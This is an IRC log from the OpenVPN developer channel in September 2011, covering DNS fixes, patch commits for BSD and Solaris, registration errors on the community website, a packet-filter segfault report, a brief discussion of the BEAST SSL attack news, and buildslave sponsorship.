12:02 < novaflash> ---! shivers me timers, ---! 12:02 < novaflash> um. 12:02 < novaflash> timbers. 12:02 < novaflash> otherwise all my programs would seriously mess up. 12:04 <+krzie> can we reschedule talk like a pirate day for thursday so we can have the funniest meeting logs in the history of FOSS meetings? 12:06 < novaflash> krzie; i guess i can be persuaded to drop by with some piratey remarks, yarr 12:06 <+ecrist> +1 12:40 <@cron2> heh, where did the IPv6 record for forums.openvpn.net go? 12:49 <+ecrist> I'm guessing they broke it with all this cloudflare stuff 12:49 <@cron2> grrr 12:49 <+ecrist> I think the whole thing is a bad idea 12:49 <+ecrist> ping mattock 12:49 -!- Irssi: #openvpn-devel: Total of 15 nicks [6 ops, 0 halfops, 3 voices, 6 normal] 12:49 <+ecrist> ping raidz 12:50 <@cron2> mattock is hiding 12:50 <@cron2> and raidz is not talking to me 12:50 <@raidz> hey hey, there isn't an ipv6 record for forums? 12:50 <@cron2> ah :) 12:50 <@cron2> raidz: no 12:50 <+ecrist> :\ 12:51 <@raidz> ahh, what is the addy, will add it now 12:51 <@cron2> $ host -t aaaa forums.openvpn.net 12:51 <@cron2> forums.openvpn.net has no AAAA record 12:51 <@raidz> there is for community though, right? 12:51 <@cron2> yea, community is working 12:51 <+ecrist> should be for both 12:51 <@cron2> $ host -t aaaa community.openvpn.net 12:51 <@cron2> community.openvpn.net has IPv6 address 2607:f0d0:1001:14::2 12:51 <@raidz> ok, what is ipv6 for forums, will add it now 12:51 <@cron2> (but forums was different) 12:51 <+ecrist> 2607:f0d0:1001:14::3 12:51 <@cron2> ecrist: you have access to the machine? can you check ifconfig? 12:52 <+ecrist> I should have access to ALL the community machines 12:52 <@raidz> ecrist: cron2 added, give it some time to propagate 12:52 <+ecrist> afaik, that's still the case. :) 12:52 <+ecrist> ok 12:52 <+ecrist> thanks raidz 12:52 <@cron2> raidz: thanks 12:52 <@raidz> np, sorry about that, I had to switch over all records by hand, must have missed that one, ugh 12:52 <@raidz> I even had someone else doublecheck everything 12:53 <+ecrist> you're both fired 12:53 <@raidz> haha, noooooo 12:53 -!- mode/#openvpn-devel [-o raidz] by ChanServ 12:53 <+ecrist> muahaha 12:53 <@cron2> I have monitoring for these two, on IPv6, as that broke frequently in the beginning :-) 12:53 < raidz> ahhhhhhh 12:53 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:53 <@raidz> phew, a second chance 12:54 <@cron2> raidz: anyway, is there a way to send you crypted mail? 12:54 * cron2 has info for openvpn tech that should not go unencrypted 12:54 <+krzie> of course, but the question is can he decrypt it! 12:54 <@raidz> cron2, unfortunantley, no 12:54 <@cron2> meh 12:55 <+krzie> screw email... i bet you guys know how to use a vpn! 12:55 <+krzie> :-p 12:55 * cron2 has no idea 12:55 <@raidz> hahaha 12:55 <@cron2> why should I *use* that darn stuff? hard enough to make it work 12:56 <@cron2> ok, anyway, it's not that critical - can you give me your mail address? it will go TLS encrypted to your mail servers, that's good enough for nwo 12:57 <@raidz> andrew@openvpn.net 12:57 <@raidz> cron2: we can do otr over irc 12:57 <@raidz> although I am about to go into a meeting ;-) 12:58 <@cron2> give me a minute 12:58 <@raidz> sure 12:59 <@cron2> mail sent... 13:00 <+ecrist> I think that's something I should setup is a secure notification form on the forum server 13:00 <@cron2> ecrist: indeed, that would be useful. Contact (in this case) to OpenVPN tech via a secure and trusted channel 13:01 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 13:02 <@raidz> got it cron2, replied, looking into it 13:05 <@cron2> thanks 13:18 <+ecrist> it is some awesome 0-day? 13:18 <+ecrist> cron2: it would make use of the VPN to other systems, probably some sort of drop box via ssh 13:20 <@cron2> ecrist: nah, nothing that serious, but I still do not want to have it "in the open" 13:57 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 13:59 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:59 -!- mode/#openvpn-devel [+o raidz] by ChanServ 23:55 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Tue Sep 20 2011 02:11 <@cron2> moin 02:40 -!- dazo_afk is now known as dazo 03:14 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 03:40 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 240 seconds] 05:49 -!- dazo is now known as dazo_afk 06:01 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:01 -!- mode/#openvpn-devel [+v krzie] by ChanServ 07:17 <@cron2> mmmh, dazo was at his keyboard for 4 hours, but didn't say a thing... :-o 07:17 <@vpnHelper> RSS Update - tickets: #161: GET INST BY VIRT error is too obscure quiet <https://community.openvpn.net/openvpn/ticket/161> || #162: Please reduce password strength requirements on website <https://community.openvpn.net/openvpn/ticket/162> 07:46 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 07:47 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 07:47 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 08:50 -!- dazo_afk is now known as dazo 08:54 <@cron2> welcome back, oh great silent one ;-) 08:59 <@dazo> :) 09:00 * dazo got a way too busy life ... gonna kill the next one telling me to "get a life" .... :-P 09:08 <+ecrist> get a life 09:08 <@cron2> dazo: why would any nerd want a life? 09:08 * ecrist ducks 09:08 -!- ecrist was kicked from #openvpn-devel by dazo [ecrist] --- Log closed Tue Sep 20 09:08:15 2011 --- Log opened Tue Sep 20 09:08:40 2011 09:08 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has joined #openvpn-devel 09:08 -!- Irssi: #openvpn-devel: Total of 14 nicks [5 ops, 0 halfops, 2 voices, 7 normal] 09:08 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 09:08 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 09:08 <@cron2> ecrist: did you send the mail with the OSX results to the list? Haven't seen anything 09:09 <@cron2> dazo: so what's holding up committing FreeBSD and NetBSD patches? 09:09 <+ecrist> it appears the list got removed from the copying back and forth 09:09 <+ecrist> I'll send it now 09:09 <@dazo> cron2: FreeBSD + Solaris patching is awaiting Solaris testing .... and NetBSD ... lacking time 09:10 <@dazo> but looks good to me 09:10 <@cron2> dazo: just commit the r.defined change togehter with FreeBSD, and if anything else is needed, I'll send an additional patch 09:10 <@cron2> our processes are much too closed-source-y these days :-) 09:10 <@dazo> cron2: did you pull my private tree? 09:10 <@dazo> yeah ... 09:11 <@cron2> dazo: nah. I asked what's in there, but you were afk 09:11 <@cron2> so what's in that private tree? 09:11 <@dazo> ahh, the Solars + FreeBSD patch ;-) 09:14 <@cron2> just one commit? 09:14 <@dazo> I thought that was what you asked for ... 09:14 * dazo need to pay attention to a phone meeting 09:15 <@cron2> dazo: ok, will get the commit tonight and test solaris 09:15 <+ecrist> cron2: you should see the patches come across the mailing list soon 09:15 <+ecrist> I just sent the mail 09:17 <@cron2> great, so I can take a look (and that might help fixing NetBSD 3.1) 10:37 -!- dazo is now known as dazo_afk 12:13 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 258 seconds] 13:29 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 14:19 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 16:24 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 16:24 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:24 -!- mode/#openvpn-devel [+o raidz] by ChanServ 18:07 -!- Netsplit *.net <-> *.split quits: novaflash, jamxNL 18:11 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 18:31 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Quit: Leaving.] 18:31 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 18:31 -!- mode/#openvpn-devel [+o raidz] by ChanServ 18:36 -!- Netsplit *.net <-> *.split quits: jamxNL 18:39 -!- Netsplit over, joins: jamxNL 19:28 -!- Netsplit *.net <-> *.split quits: jamxNL 19:33 -!- Netsplit over, joins: jamxNL 20:05 -!- MikeJansen [~mike@cpe-067-023-156-025.dhcp.wadsnet.com] has joined #openvpn-devel 21:31 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 21:31 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 21:31 -!- mode/#openvpn-devel [+o raidz] by ChanServ 22:06 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Ping timeout: 260 seconds] 22:12 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 22:12 -!- mode/#openvpn-devel [+o raidz] by ChanServ 23:05 -!- Netsplit *.net <-> *.split quits: @d12fk, jamxNL 23:05 -!- Netsplit *.net <-> *.split quits: @dazo_afk, dguerri, waldner, uuuppz 23:05 -!- Netsplit *.net <-> *.split quits: EvilJStoker, chantra, @vpnHelper --- Day changed Wed Sep 21 2011 01:41 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 01:42 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 01:42 -!- mode/#openvpn-devel [+o raidz] by ChanServ 02:49 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:49 -!- ServerMode/#openvpn-devel [+o vpnHelper] by zelazny.freenode.net 02:51 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 02:51 -!- ServerMode/#openvpn-devel [+o d12fk] by zelazny.freenode.net 02:52 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has joined #openvpn-devel 02:52 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 02:52 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 02:52 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 02:52 -!- ServerMode/#openvpn-devel [+o dazo_afk] by zelazny.freenode.net 02:52 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 02:53 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 02:53 -!- uuuppz [~uuuppz@78.129.207.46] has joined #openvpn-devel 02:55 < uuuppz> woo! 02:55 < uuuppz> http://www.theregister.co.uk/2011/09/19/beast_exploits_paypal_ssl/ 02:55 <@vpnHelper> Title: Hackers break SSL encryption used by millions of sites • The Register (at www.theregister.co.uk) 03:03 < uuuppz> dunno any more than whats in that aritcle but those researchers are the ones who found the asp.net padding oracle this time last year 03:03 < uuuppz> and presented the results at the ekoparty conference 03:04 < uuuppz> or more showed a very scary demo 03:04 < uuuppz> but they didn't actually explain the bug to anyone INCLUDING microsoft 03:04 < uuuppz> (I was the one who showed MS a working exploit first afaik) 03:04 < uuuppz> does ovpn use tls 1.0? 03:38 * cron2 doesn't understand the crypto side enough to answer that 04:27 -!- dazo_afk is now known as dazo 04:27 <@dazo> uuuppz: from what I've understood (I've sent one mail to the ML today about it too), this won't affect OpenVPN' 04:27 <@dazo> s SSL usage at all 04:28 <@dazo> BEAST, which is used in this case, depends on begin able to run some javascript code on the client side, grabbing HTTPS cookies to be able to decrypt the traffic 04:30 <@dazo> BEAST will be demoed this Friday on ekoparty ... so lets see what they say about other protocols (IM and VPN has been mentioned, but nothing more) 06:09 < uuuppz> I suspect no concrete info will come out on fri 06:09 < uuuppz> was heavily involved in the last vuln these guys posted at the last ekoparty 06:09 < uuuppz> and they revealed nothing 06:09 < uuuppz> through a USB key into the audience 07:07 * cron2 pokes dazo to commit & push FreeBSD, Solaris and NetBSD fixes 07:07 <@dazo> cron2: goodie! I'll try to squeeze that in somewhere 07:07 <+ecrist> and os x 07:07 <@cron2> dazo: I've sent you mail with an additional patch for Solaris 07:07 <@dazo> yeah 07:08 <@dazo> cron2: I noticed that one ... I'll add that one as well 07:08 <@cron2> r.metric_defined -> r.flags = RT_METRIC_DEFINED 07:08 <@cron2> thanks 07:08 <@cron2> then we can close that issue for good, and concentrate on breaking something else :-) 07:08 <@dazo> heh :) 07:56 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 07:56 -!- mode/#openvpn-devel [+v krzie] by ChanServ 08:25 * dazo just realises that the best network connection monitor is listening to streaming media 08:28 <@vpnHelper> RSS Update - testtrac: Platform cleanup for NetBSD <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=8ca19c014c149cf69257798afa6c75d1ff8f11a7> || fix ipv6 compilation under macosx >= 1070 - v3 <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=c02a84051297d97ba5955b93cdf479393b1dc1f8> || Fixed compile issues on FreeBSD and Solaris <http://openvpn.gi 08:31 * dazo hopes cron2 and ecrist will be happy now :) 08:31 <@dazo> hint: git fetch 08:31 <@dazo> (that took time ...) 09:09 <@cron2> wooh! 09:11 <@cron2> the web thingie is weird, though 09:11 <@cron2> it shows me the MacOS fixes and FreeBSD/Solaris, but not NetBSD 09:12 <@cron2> ah, there it is 09:12 * ecrist rolls a snapshot and tries it out 09:47 <@cron2> where is mattock, btw? is he on vacation? 09:48 <+ecrist> isn't he always on vacation? 09:49 <+ecrist> ping raidz 10:42 <@raidz> hey hey 11:04 <+krzie> finding mattock is like finding carmen sandiego ;] 11:14 -!- dazo is now known as dazo_afk 11:16 <+ecrist> raidz: what were you wanting from me last night? 11:16 <+krzie> YOUR SOUL 11:16 <+krzie> muahahaha 11:17 <+ecrist> heh 11:17 <@raidz> ecrist: it was a ? about supybot but krzie helped me out 11:17 <@raidz> :-) 11:17 <+ecrist> oh 15:25 -!- Netsplit *.net <-> *.split quits: jamxNL 15:40 -!- Netsplit over, joins: jamxNL 16:23 -!- Netsplit *.net <-> *.split quits: jamxNL 16:36 -!- Netsplit over, joins: jamxNL 21:57 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 21:58 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 21:58 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Thu Sep 22 2011 00:45 -!- MikeJansen [~mike@cpe-067-023-156-025.dhcp.wadsnet.com] has quit [Ping timeout: 252 seconds] 01:42 -!- dazo_afk is now known as dazo 04:04 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 240 seconds] 04:13 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 05:35 -!- waldner [~waldner@unaffiliated/waldner] has left #openvpn-devel [] 05:35 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 09:50 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 10:21 <@dazo> ecrist: how did the new snapshot work for you? 10:25 -!- dazo is now known as dazo_afk 10:28 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 10:30 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:30 <@mattock> fyi: won't make it to the meeting today (if any) 10:31 <@cron2> ah, mattock reappeared :-) 10:39 <@mattock> yeah, I've been rather busy being on a vacation ;) 11:21 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 11:33 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 248 seconds] 12:35 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds] 12:35 <+ecrist> dazo_afk: never got around to testing. been swamped at work. 14:15 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 14:16 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:17 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:00 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Quit: Leaving.] 15:00 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:00 -!- mode/#openvpn-devel [+o raidz] by ChanServ 15:22 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:22 -!- mode/#openvpn-devel [+v krzie] by ChanServ 16:15 -!- Netsplit *.net <-> *.split quits: jamxNL 16:19 -!- Netsplit over, joins: jamxNL 19:14 -!- Netsplit *.net <-> *.split quits: jamxNL 19:20 -!- Netsplit over, joins: jamxNL 19:23 -!- Netsplit *.net <-> *.split quits: jamxNL 19:34 -!- Netsplit over, joins: jamxNL 19:43 -!- Netsplit *.net <-> *.split quits: jamxNL --- Day changed Fri Sep 23 2011 01:39 -!- dazo_afk is now known as dazo 03:02 < waldner> dazo: is my patch so terrible that it doesn't even deserve a NACK?just curious 03:02 <@dazo> waldner: not at all :) 03:02 <@dazo> I just haven't had time to look really at it 03:02 < waldner> ah, np 03:02 < waldner> just curious since I hadn't seen any feedback 03:03 < waldner> thanks 03:03 <@dazo> sorry about that ... unfortunately, it's not often others chime in either :/ 03:03 < waldner> no worries 03:03 * dazo would like more people to dare raising their voice on the ML :) 03:03 < waldner> as I said, just curious 03:07 <@dazo> :) 03:12 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 03:35 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 03:36 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 03:36 -!- mode/#openvpn-devel [+o raidz] by ChanServ 03:41 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 03:42 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 03:42 -!- mode/#openvpn-devel [+o raidz] by ChanServ 10:03 -!- dazo is now known as dazo_afk 16:33 -!- Netsplit *.net <-> *.split quits: jamxNL 16:34 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Quit: Leaving.] 16:34 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:34 -!- mode/#openvpn-devel [+o raidz] by ChanServ 16:37 -!- Netsplit over, joins: jamxNL 17:24 -!- Netsplit *.net <-> *.split quits: jamxNL 17:36 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 18:09 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:09 -!- mode/#openvpn-devel [+v krzie] by ChanServ 22:07 -!- Netsplit *.net <-> *.split quits: chantra, dguerri, @dazo_afk, EvilJStoker 22:07 -!- Netsplit over, joins: dguerri 22:08 -!- Netsplit over, joins: EvilJStoker 22:09 -!- Netsplit over, joins: chantra 22:14 -!- dazo_afk [dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 22:14 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 22:53 -!- MikeJansen [~mike@cpe-067-023-156-025.dhcp.wadsnet.com] has joined #openvpn-devel --- Day changed Sat Sep 24 2011 00:40 -!- MikeJansen [~mike@cpe-067-023-156-025.dhcp.wadsnet.com] has quit [Quit: Leaving.] 06:20 -!- dazo_afk is now known as dazo 10:18 -!- dazo is now known as dazo_afk 13:30 -!- novaflash [~notme@openvpn/user/novaflash] has quit [Disconnected by services] 13:30 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 15:35 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 15:35 -!- mode/#openvpn-devel [+o andj] by ChanServ 16:06 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 16:08 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:08 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Sun Sep 25 2011 05:21 -!- novaflash [~notme@openvpn/user/novaflash] has quit [] 05:26 -!- novaflash [novaflash@openvpn/user/novaflash] has joined #openvpn-devel 11:44 -!- MikeJansen [~mike@cpe-067-023-156-025.dhcp.wadsnet.com] has joined #openvpn-devel 14:32 -!- chantra [~chantra@unaffiliated/chantra] has quit [Read error: Operation timed out] 14:32 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 15:45 -!- MikeJansen [~mike@cpe-067-023-156-025.dhcp.wadsnet.com] has quit [Quit: Leaving.] 17:59 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 18:01 <+ecrist> ping mattock raidz 18:01 -!- Irssi: #openvpn-devel: Total of 13 nicks [5 ops, 0 halfops, 2 voices, 6 normal] 18:02 <+ecrist> tons of users are complaining of error 500 on the pwm pages 18:02 <+ecrist> and cannot register 18:02 <+ecrist> please fix asap 18:42 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 18:42 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 19:45 <+ecrist> it appears the problems may be related to internationalization --- Day changed Mon Sep 26 2011 01:20 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:38 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 01:39 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 01:40 -!- mode/#openvpn-devel [+o raidz] by ChanServ 03:44 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 03:45 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 03:45 -!- mode/#openvpn-devel [+o raidz] by ChanServ 03:52 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 03:55 < SviMik> is anybody here? ) 03:56 < SviMik> I have a bugreport, but I can't post it. regisration on your site doesn't work ( 04:11 <@mattock> hi SviMik 04:11 < SviMik> hi 04:11 <@mattock> where do you try to register? 04:12 < SviMik> https://community.openvpn.net/ 04:12 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 04:12 < SviMik> when I click Register, I get HTTP Status 500 - 04:13 <@mattock> ok, that's the nasty issue I've been unable to reproduce 04:13 <@mattock> if you want, I can create an account for you 04:13 < SviMik> yes, please ) 04:14 <@mattock> you can send me (samuli at openvpn.net) your account details (username, first name, last name, email) 04:14 <@mattock> and, if you want, a password (otherwise I'll generate something myself) 04:16 < SviMik> done 04:16 <@cron2> mattock: do we have a meeting on Thursday? 04:17 <@mattock> cron2: we can, if we want 04:17 <@mattock> haven't yet thought about it 04:19 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Disconnected by services] 04:19 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 04:22 <@mattock> SviMik: sent email 04:22 < SviMik> mattock thanks 04:22 <@mattock> no problem 04:23 <@cron2> mattock: I think we should :-) 04:23 <@mattock> cron2: ok, what topics you'd propose? 04:24 <@cron2> mattock: topics: patch queue, buildbot status and improvements, buildslave VM sponsoring 04:24 <@mattock> mkay 04:24 <@mattock> I'll setup the topic list (today I'm all about minor tasks) 04:24 <@cron2> the last item is "my company would be willing to sponsor a handful of VMs with public IPv4 addresses to do buildslaves with FreeBSD, OpenBSD, OpenSolaris, ... 04:25 <@cron2> ... but they want a "supported by <Logo>" acknowledgement sowewhere in return... (and that needs some consensus9 04:27 <@vpnHelper> RSS Update - tickets: #163: Segfault in PF <https://community.openvpn.net/openvpn/ticket/163> 04:28 < SviMik> mattock here is my bugreport ^^ 04:30 <@mattock> SviMik: thanks! 04:31 <@mattock> SviMik: we're having a developer meeting the coming Thursday at 18:00 UTC... in case this is not resolved by 04:31 <@mattock> then, can you attend if we need more information? 04:32 < SviMik> yes 04:32 < SviMik> oops, formatting is weird. forgot to use preview button ) 04:33 <@vpnHelper> RSS Update - tickets: #164: Registration webapp gives HTTP 500 error on some clients <https://community.openvpn.net/openvpn/ticket/164> 04:36 < SviMik> mattock strange bug. only two clients enough to produce segfault. that's because this feature is undocumented and untested? 04:38 <@mattock> probably 04:38 <@mattock> afaik the stuff done and documented on backreference.org is as unsupported as it gets :) 04:40 <@mattock> I believe the OpenVPN pf is used only in very limited fashion in the default setup 04:40 <@mattock> the idea being, that most filtering is done using external tools (e.g. iptables, BSD's pf, ebtables) 04:41 < SviMik> in case of TAP it's impossible 04:42 <@mattock> I recall that being one argument against using TAP... ask krzie for details :) 04:43 < SviMik> without TAP some applications for LAN doesn't work, and here is nothing to do. 04:47 < SviMik> but with TAP the only way to choose which clients to isolate is pf... 04:50 < SviMik> mattock am I right? :) 04:51 < SviMik> if I need layer 2 - I need TAP. 04:58 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: pIRC v2.2 < Personal IRC Team > http://ircworld.ru and http://xirc.ru/] 04:58 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 04:59 -!- SviMik is now known as svimik_afk 05:00 <@mattock> SviMik: you're probably right... you could filter with ebtables, but I don't think that's secure 05:01 <@mattock> =the rules could be circumvented 05:01 <@mattock> SviMik: have you tried asking for suggestions on openvpn-user mailing list or forums? 05:01 <@mattock> there are some true OpenVPN wizards there :) 05:19 -!- svimik_afk [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 276 seconds] 05:19 <@mattock> cron2: could you perhaps setup those buildslaves? my hands are pretty full with the existing ones already 05:22 <@mattock> initial topic list here, still missing stuff: https://community.openvpn.net/openvpn/wiki/Topics-2011-09-29 05:22 <@vpnHelper> Title: Topics-2011-09-29 – OpenVPN Community (at community.openvpn.net) 05:48 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 05:51 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 05:51 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 06:38 <@mattock> topic page more or less up-to-date 06:53 <+ecrist> mattock 06:53 <+ecrist> pwm seems broken for international characters 06:54 <+ecrist> throws back error 500 07:18 <@mattock> ecrist: could you elaborate? international characters where? 07:47 <@mattock> d12fk: there? 07:48 <@d12fk> jepp 07:51 <@mattock> ok, so your suggestions did not work (if I did them right) 07:51 <@mattock> oh, just a sec, one more try 07:53 <@mattock> nope... 07:54 <@mattock> so, I added 07:54 <@mattock> #include "syshead.h" 07:54 <@mattock> #include <ws2tcpip.h> 07:54 <@mattock> just after line 29 in win32.h 07:54 <@mattock> was that the correct place? 07:54 <@mattock> after #include "mtu.h", that is 08:01 <@d12fk> mattock: yeah that should have done the trick 08:02 <@mattock> it still gives the same error 08:02 <@d12fk> is inet_ntop #ifdef'd in ws2tcpip.h? 08:03 <@d12fk> and if yes, what's the condition for inclusion 08:07 <+ecrist> mattock: I don't know 08:07 <+ecrist> all I'm told is that when users are trying to register, they get error 500 08:08 <+ecrist> the only thing I've noticed, since it works for me, is all the people with problems are using extended-byte characters 08:21 <@cron2> mattock: the plan was that I set up and maintain those buildslaves, but I need an OK from the "community" regarding the sponsoring agreement 08:22 <+ecrist> what sponsoring agreement? 08:22 <+ecrist> did I miss something? 08:23 <@cron2> ecrist: see above. The ISP I work for would be fine with sponsoring a few buildslaves (cpu + memory + bandwidth + public IPv4+IPv6 addresses) but they want a logo somewhere, as acknowledgement 08:24 <@cron2> and I can't agree to that on my own, without having that OK'ed from "the people that do most of the work" - you, dazo, krzee, mattock 08:26 <+ecrist> what if we created a 'Sponsors' page on the community wiki, similar to how I have the donate page set up? 08:26 <+ecrist> !donate 08:26 <@vpnHelper> "donate" is (#1) send monetary donations to openvpn@secure-computing.net via paypal. All money donated goes to staff toward development of the community wiki, forum, and this IRC channel. or (#2) Contributions to this address do *NOT* directly benefit OpenVPN Technologies, Inc. or (#3) http://www.secure-computing.net/wiki/index.php/OpenVPN/Donations for Contribution totals and benefactors 08:26 <@cron2> ecrist: can we discuss this on Thursday? (This is how the topic came up, I asked mattock to include it in the meeting topics) 08:27 <@cron2> but yeah, that would suit me :) 08:27 <+ecrist> oh, sure. :) 08:35 <@mattock> topic page update 08:35 <@mattock> ecrist: I'll try to reproduce the pwm issue now that I got a hunch of the cause 08:35 <+ecrist> thanks. 08:35 <+ecrist> I tried forwarding the email, but for some reason my mails to mattock@openvpn.net are getting blocked 08:36 <@mattock> there's no such address... use samuli@ 08:36 <+ecrist> ah, ok 08:36 <+ecrist> sent 08:40 <@mattock> d12fk: I assume you mean ws2tcpip.h on the build computer... there are tons of those, I'll try to find the relevant 09:11 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 09:11 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 09:11 -!- mode/#openvpn-devel [+o raidz] by ChanServ 09:45 <@mattock> ecrist: the issue reported to forums@openvpn.net was taken care of earlier today 09:45 <@mattock> I'll debug the pwm+language issue tomorrow 09:50 -!- d303k [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 09:51 -!- mode/#openvpn-devel [+o d303k] by ChanServ 09:51 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 09:56 <+ecrist> thanks. 10:06 -!- d303k is now known as d12fk 10:14 <@cron2> has anyone seen andj recently? 10:37 -!- d12fk is now known as d303k 10:50 -!- d303k is now known as d12fk 11:01 -!- d12fk is now known as d303k 11:01 -!- d303k is now known as d12fk 12:46 <@mattock> cron2: no, but I think he had some vacation or similar around this time 12:53 <@cron2> meh 12:53 * cron2 wants to get des_old.h fixed 12:54 <+ecrist> he was last around September 8th 